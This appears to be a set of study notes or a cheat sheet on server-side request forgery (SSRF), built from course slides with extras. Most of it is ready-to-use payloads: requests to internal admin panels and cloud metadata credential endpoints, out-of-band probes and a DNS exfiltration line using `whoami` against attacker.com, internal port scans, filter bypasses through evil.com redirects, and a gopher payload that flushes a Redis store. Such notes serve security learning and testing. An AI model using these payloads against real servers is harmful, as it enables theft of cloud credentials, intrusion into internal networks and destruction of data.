

Server-Side Request Forgery (SSRF)

Making the server issue HTTP requests to unintended targets

How SSRF Works

Application fetches a URL or resource based on user input (webhooks, image fetch by URL, document processors, proxy services). Attacker replaces the URL with an internal target. The request originates from the server — which is trusted internally — so normal access controls are bypassed.

KEY INSIGHT — FROM SLIDES

SLIDES

```
# Why does /admin block external users but work via SSRF?
stockApi=http://localhost/admin

# /admin check: "is this request from localhost?" -> YES -> allowed
# Normal access control sits in front of the app, not between
# the app and localhost. Requests from 127.0.0.1 are trusted.
```

Basic SSRF Targets (from Slides)

Same-server admin panel	http://localhost/admin OR http://127.0.0.1/admin
Internal network services	http://192.168.0.68/admin (behind org firewall)
AWS metadata (IMDSv1)	http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP metadata	http://metadata.google.internal/computeMetadata/v1/
Azure metadata	http://169.254.169.254/metadata/instance?api-version=2021-02-01
Password brute-force trick	http://login:password@attacker.com/admin/ (HTTP basic in URL)

Password brute trick (from slides): Set URL to `http://user:pass@attacker.com/admin/`. Server makes the request and sends Basic Auth creds in the HTTP header. Attacker sees the `login:password` attempt in server logs — automate many attempts to brute force.

Blind SSRF (from Slides)

Server makes the request but does NOT return the response body to attacker. Harder to exploit. Detect via out-of-band callbacks:

SLIDES

```
# OOB detection – if server contacts your domain, SSRF is confirmed
stockApi=http://attacker.com/ssrf-probe

# Port scan via blind SSRF – 200 vs connection error = open vs closed
stockApi=http://192.168.0.1:22
```

```
stockApi=http://192.168.0.1:3306
stockApi=http://192.168.0.1:6379 # Redis

# DNS exfil via blind SSRF (from slides):
stockApi=http://`whoami`.attacker.com/
# Attacker sees DNS query e.g. "www-data.attacker.com" in logs
```

Filter Bypass Techniques (from Slides + Extra)

Localhost alternatives	127.1 0.0.0.0 [::1] 2130706433 (decimal) 0x7f000001 (hex)
169.254.x bypass	Use open redirect: http://evil.com/redir?url=http://169.254.169.254/
Whitelist bypass	https://expected.com@evil.com OR https://evil.com#expected.com
DNS rebinding	Domain resolves to allowed IP first, then to 127.0.0.1 on second lookup
URL parser confusion	http://evil.com:80@127.0.0.1/ — parsed differently by libs
Protocol confusion	dict://127.0.0.1:6379/ gopher://127.0.0.1:6379/_FLUSHALL

Common Internal Services to Probe — Extra

EXTRA

```
http://localhost:6379 # Redis — unauthenticated in many configs
http://localhost:5432 # PostgreSQL
http://localhost:27017 # MongoDB
http://localhost:11211 # Memcached
http://localhost:8080 # Internal admin / secondary app
http://localhost:9200 # Elasticsearch
http://localhost:2375 # Docker daemon API (unauthenticated)
```